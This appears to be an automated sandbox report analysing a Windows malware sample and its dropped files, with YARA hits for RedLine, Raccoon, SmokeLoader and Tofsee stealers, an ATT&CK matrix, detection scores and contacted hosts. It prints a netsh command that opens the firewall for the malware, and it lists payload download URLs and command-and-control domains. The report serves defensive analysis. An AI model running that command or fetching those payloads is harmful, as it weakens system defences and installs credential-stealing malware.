Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\DWVByMCYL8.exe

Code function: 0_2_004088D0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004088D0

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Code function: 24_2_0040B211 FileTimeToSystemTime,GetLocalTime,FileTimeToLocalFileTime,FileTimeToSystemTime,SystemTimeToFileTime,FileTimeToSystemTime,GetTimeZoneInformation,wsprintfA,

24_2_0040B211

Source: C:\Users\user\AppData\Local\Temp\6965.exe

24_2_00407809

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Code function: 24_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

24_2_0040405E

Source: C:\Users\user\AppData\Local\Temp\D322.exe

Code function: 14_2_011B2BF2 GetVersion,GetModuleHandleW,GetProcAddress,CloseHandle,

14_2_011B2BF2

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Process created: C:\Windows\SysWOW64\netsh.exe 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul

Modifies the windows firewall

Show sources

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 20.2.55AD.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000033.00000003.853654750.0000000003AB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1024501485.0000000000DF2000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.981470428.0000000000052000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.783113283.0000000000D90000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.981525147.0000000001002000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.822663468.0000000000CD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 55AD.exe PID: 6788, type: MEMORYSTR

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 0000000B.00000002.760396326.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.711202334.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 13.2.C612.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.DWVByMCYL8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.1.C612.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.1.C612.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.geedrvu.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.geedrvu.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.C612.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DWVByMCYL8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.DWVByMCYL8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.geedrvu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DWVByMCYL8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.geedrvu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.711155918.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.665181950.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.760251538.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000001.748020468.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.884737537.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 33.2.829C.exe.47d0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.21a0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.829C.exe.4880000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.829C.exe.47d0e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.75AA.exe.2450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.21a0e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.75AA.exe.2450000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.829C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.829C.exe.4880000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.794034044.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.799468535.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.986163730.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.800342730.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.793177750.0000000004880000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.786552941.0000000002450000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.795259479.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.797166721.00000000047D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.793371221.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 75AA.exe PID: 5692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 829C.exe PID: 4264, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 24.2.6965.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.6965.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.6965.exe.2d80e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.6965.exe.4780000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000032.00000002.981945926.0000000002820000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.816588448.0000000003460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.820521827.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.822818224.00000000034A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.821681408.0000000002C50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.801390436.0000000002D80000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.779981603.0000000004780000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6965.exe PID: 6428, type: MEMORYSTR

Contains functionality to steal Internet Explorer form passwords

Show sources

Source: C:\Users\user\AppData\Local\Temp\75AA.exe

Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2

30_2_0043497C

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 20.2.55AD.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000033.00000003.853654750.0000000003AB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1024501485.0000000000DF2000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.981470428.0000000000052000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.783113283.0000000000D90000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.981525147.0000000001002000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.822663468.0000000000CD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 55AD.exe PID: 6788, type: MEMORYSTR

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 0000000B.00000002.760396326.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.711202334.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 13.2.C612.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.DWVByMCYL8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.1.C612.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.1.C612.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.geedrvu.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.geedrvu.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.C612.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DWVByMCYL8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.DWVByMCYL8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.geedrvu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DWVByMCYL8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.geedrvu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.711155918.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.665181950.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.760251538.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000001.748020468.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.884737537.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 33.2.829C.exe.47d0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.21a0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.829C.exe.4880000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.829C.exe.47d0e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.75AA.exe.2450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.21a0e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.75AA.exe.2450000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.829C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.829C.exe.4880000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.794034044.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.799468535.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.986163730.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.800342730.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.793177750.0000000004880000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.786552941.0000000002450000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.795259479.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.797166721.00000000047D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.793371221.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 75AA.exe PID: 5692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 829C.exe PID: 4264, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 24.2.6965.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.6965.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.6965.exe.2d80e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.6965.exe.4780000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000032.00000002.981945926.0000000002820000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.816588448.0000000003460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.820521827.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.822818224.00000000034A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.821681408.0000000002C50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.801390436.0000000002D80000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.779981603.0000000004780000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6965.exe PID: 6428, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Code function: 24_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,

24_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Native API1	Application Shimming1	Application Shimming1	Disable or Modify Tools21	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer115	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Exploitation for Client Execution1	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	Input Capture31	Account Discovery1	Remote Desktop Protocol	Screen Capture1	Exfiltration Over Bluetooth	Encrypted Channel22	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter12	Windows Service4	Access Token Manipulation11	Obfuscated Files or Information3	Credentials In Files1	File and Directory Discovery3	SMB/Windows Admin Shares	Input Capture31	Automated Exfiltration	Non-Standard Port11	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution3	Logon Script (Mac)	Windows Service4	Software Packing14	NTDS	System Information Discovery37	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol5	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Process Injection513	Timestomp1	LSA Secrets	Security Software Discovery851	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol36	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	File Deletion1	Cached Domain Credentials	Virtualization/Sandbox Evasion43	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading131	DCSync	Process Discovery3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Valid Accounts1	Proc Filesystem	Application Window Discovery11	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion43	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation11	Network Sniffing	Remote System Discovery11	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection513	Input Capture	System Network Configuration Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Hidden Files and Directories1	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Rundll321	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
DWVByMCYL8.exe	42%	ReversingLabs	Win32.Trojan.Sabsik
DWVByMCYL8.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\krpafaoc.exe	100%	Avira	TR/Crypt.EPACK.Gen2
C:\Users\user\AppData\Local\Temp\D322.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\krpafaoc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\829C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6965.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\geedrvu	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\75AA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C612.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\55AD.exe	64%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\75AA.exe	41%	ReversingLabs	Win32.Infostealer.Convagent
C:\Users\user\AppData\Local\Temp\98D4.exe	27%	ReversingLabs	Win32.Trojan.Sabsik
C:\Users\user\AppData\Local\Temp\D322.exe	22%	ReversingLabs	Win32.Infostealer.Fragtor
C:\Users\user\AppData\Roaming\geedrvu	42%	ReversingLabs	Win32.Trojan.Sabsik

Unpacked PE Files

Source	Detection	Scanner	Label	Download
24.3.6965.exe.4780000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.2.C612.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.2.6965.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
13.1.C612.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.DWVByMCYL8.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.1.DWVByMCYL8.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.geedrvu.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.2.6965.exe.2d80e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.1.geedrvu.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://cusanthana12.site/	1%	Virustotal		Browse
http://cusanthana12.site/	0%	Avira URL Cloud	safe
http://willietjeana13.site/	1%	Virustotal		Browse
http://willietjeana13.site/	0%	Avira URL Cloud	safe
http://urydiahadyss16.club/	13%	Virustotal		Browse
http://urydiahadyss16.club/	0%	Avira URL Cloud	safe
http://blodinetisha15.site/	1%	Virustotal		Browse
http://blodinetisha15.site/	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
http://95.215.205.85/CRYPT_INSTALLS.exe	0%	Avira URL Cloud	safe
http://urydiahadyss16.club/raccon.exe	100%	Avira URL Cloud	malware
http://ggiergionard5.xyz/	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://95.215.205.85/INSTALLS.exe	0%	Avira URL Cloud	safe
http://95.215.205.85/eth.exe	100%	Avira URL Cloud	malware
http://cytheriata4.xyz/	0%	Avira URL Cloud	safe
http://ustiassosale3.xyz/	0%	Avira URL Cloud	safe
http://ximusokall14.site/	0%	Avira URL Cloud	safe
http://privacytoolz123foryou.xyz/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://gilmandros11.site/	0%	Avira URL Cloud	safe
http://fazanaharahe1.xyz/	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report	0%	Avira URL Cloud	safe
http://xandelissane2.xyz/	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip%USERPEnviro	0%	Avira URL Cloud	safe
http://crl3.digih	0%	Avira URL Cloud	safe
http://193.56.146.41:9080/a.php	0%	Avira URL Cloud	safe
http://crl3.di)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mx.lb.btinternet.com	213.120.69.89	true	false	high
privacytoolz123foryou.xyz	185.183.96.3	true	false	high
mx.videotron.ca	24.201.245.37	true	false	high
mxa-001d1702.gslb.pphosted.com	91.207.212.191	true	false	high
freemx2.sinamail.sina.com.cn	121.14.32.117	true	false	high
mail.ixlab.de	217.11.48.15	true	false	high
mx.tiscali.co.uk	62.24.139.42	true	false	high
ff-ip4-mx-vip2.prodigy.net	144.160.159.22	true	false	high
mx01.mail.com	74.208.5.22	true	false	high
ff-ip4-mx-vip1.prodigy.net	144.160.159.21	true	false	high
defeatwax.ru	193.56.146.188	true	false	high
cytheriata4.xyz	192.42.116.41	true	false	high
mxf908.netcup.net	46.38.249.8	true	false	high
www.google.com	142.250.102.103	true	false	high
fastpool.xyz	213.91.128.133	true	false	high
cusanthana12.site	192.42.116.41	true	false	high
mx01.gmx.com	74.208.5.27	true	false	high
mxn.mxhichina.com	205.204.101.145	true	false	high
gilmandros11.site	192.42.116.41	true	false	high
mx.wp.pl	212.77.101.4	true	false	high
mxin.upcmail.net	213.46.255.45	true	false	high
235.o74.org	176.9.147.235	true	false	high
mail.emailn.de	46.182.21.2	true	false	high
mx1.hanmail.net	211.231.108.46	true	false	high
d138221a.ess.barracudanetworks.com	209.222.82.255	true	false	high
mx2.comcast.net	68.87.20.5	true	false	high
mta7.am0.yahoodns.net	67.195.228.106	true	false	high
blodinetisha15.site	192.42.116.41	true	false	high
emig.freenet.de	195.4.92.215	true	false	high
microsoft-com.mail.protection.outlook.com	40.93.207.1	true	false	high
fmx.freemail.hu	84.2.43.65	true	false	high
mx.urbanyoga.ca	66.96.140.70	true	false	high
m.youtube.com	142.250.179.206	true	false	high
mx03.cloud.vadesecure.com	52.47.149.86	true	false	high
mx14.mail.magic.fr	188.130.11.227	true	false	high
telete.in	195.201.225.248	true	false	high
mx12.bigmir.net	193.239.71.112	true	false	high
mx.kpnmail.nl	195.121.65.158	true	false	high
pkvw-mx.msg.pkvw.co.charter.net	47.43.26.7	true	false	high
mx00.mail.com	74.208.5.20	true	false	high
ggiergionard5.xyz	192.42.116.41	true	false	high
fpo9.mail.dk	193.201.76.57	true	false	high
mx.lycos.com.cust.b.hostedemail.com	64.98.36.4	true	false	high
willietjeana13.site	192.42.116.41	true	false	high
smtpin.eastlink.ca	24.222.0.18	true	false	high
builder.pp.ru	185.244.41.39	true	false	high
mail.simec-ing.fr	77.74.208.206	true	false	high
mx3.qq.com	203.205.219.57	true	false	high
mx.interia.pl	217.74.65.64	true	false	high
cax.virusfree.cz	5.180.49.35	true	false	high
nam.olc.protection.outlook.com	104.47.74.33	true	false	high
mx1.free.fr	212.27.48.6	true	false	high
mx-aol.mail.gm0.yahoodns.net	67.195.228.84	true	false	high
xandelissane2.xyz	192.42.116.41	true	false	high
mxmta.owm.bell.net	209.71.212.24	true	false	high
ASPMX.L.GOOGLE.COM	108.177.119.27	true	false	high
mail01.indamail.hu	91.83.45.41	true	false	high
mx02.t-online.de	194.25.134.9	true	false	high
smtp-in.sfr.fr	93.17.128.123	true	false	high
mx.lycos.de.cust.b.hostedemail.com	64.98.36.4	true	false	high
mx02.mocospace.com	208.95.216.33	true	false	high
ximusokall14.site	192.42.116.41	true	false	high
ustiassosale3.xyz	192.42.116.41	true	false	high
smtp-in.hosting.orange.pl	217.97.216.210	true	false	high
al-ip4-mx-vip2.prodigy.net	144.160.235.144	true	false	high
smtp-fw.cng.fr	193.50.2.13	true	false	high
urydiahadyss16.club	5.188.88.63	true	false	high
mxb-00120b03.gslb.pphosted.com	185.132.182.62	true	false	high
r-smtp3.korea.com	119.205.212.219	true	false	high
mx02.mail.icloud.com	17.56.9.19	true	false	high
fazanaharahe1.xyz	192.42.116.41	true	false	high
aspmx.l.google.com	108.177.119.27	true	false	high
orange.pl	unknown	unknown	false	high
zjmdc.com	unknown	unknown	false	high
homail.com	unknown	unknown	false	high
rediffmail.com	unknown	unknown	false	high
lycos.de	unknown	unknown	false	high
kitooes.com	unknown	unknown	false	high
41.52.17.84.cbl.abuseat.org	unknown	unknown	false	high
airjordanoutletshop.us	unknown	unknown	false	high
hanmail.net	unknown	unknown	false	high
epost.de	unknown	unknown	false	high
vipmail.hu	unknown	unknown	false	high
btinternet.com	unknown	unknown	false	high
worldnet.att.net	unknown	unknown	false	high
katima.ca	unknown	unknown	false	high
41.52.17.84.zen.spamhaus.org	unknown	unknown	false	high
semantech.fr	unknown	unknown	false	high
videotron.ca	unknown	unknown	false	high
41.52.17.84.dnsbl.sorbs.net	unknown	unknown	false	high
spriggsfamily.org	unknown	unknown	false	high
thecrossfamily.org	unknown	unknown	false	high
windowslive.com	unknown	unknown	false	high
ayhoo.com	unknown	unknown	false	high
dkashf.fgt	unknown	unknown	false	high
sina.com	unknown	unknown	false	high
freenet.de	unknown	unknown	false	high
post.com	unknown	unknown	false	high
sympatico.ca	unknown	unknown	false	high
doramail.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://cusanthana12.site/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://willietjeana13.site/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://urydiahadyss16.club/	true	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://blodinetisha15.site/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://95.215.205.85/CRYPT_INSTALLS.exe	false	Avira URL Cloud: safe	unknown
http://urydiahadyss16.club/raccon.exe	true	Avira URL Cloud: malware	unknown
http://ggiergionard5.xyz/	true	Avira URL Cloud: safe	unknown
http://95.215.205.85/INSTALLS.exe	false	Avira URL Cloud: safe	unknown
http://95.215.205.85/eth.exe	true	Avira URL Cloud: malware	unknown
http://cytheriata4.xyz/	true	Avira URL Cloud: safe	unknown
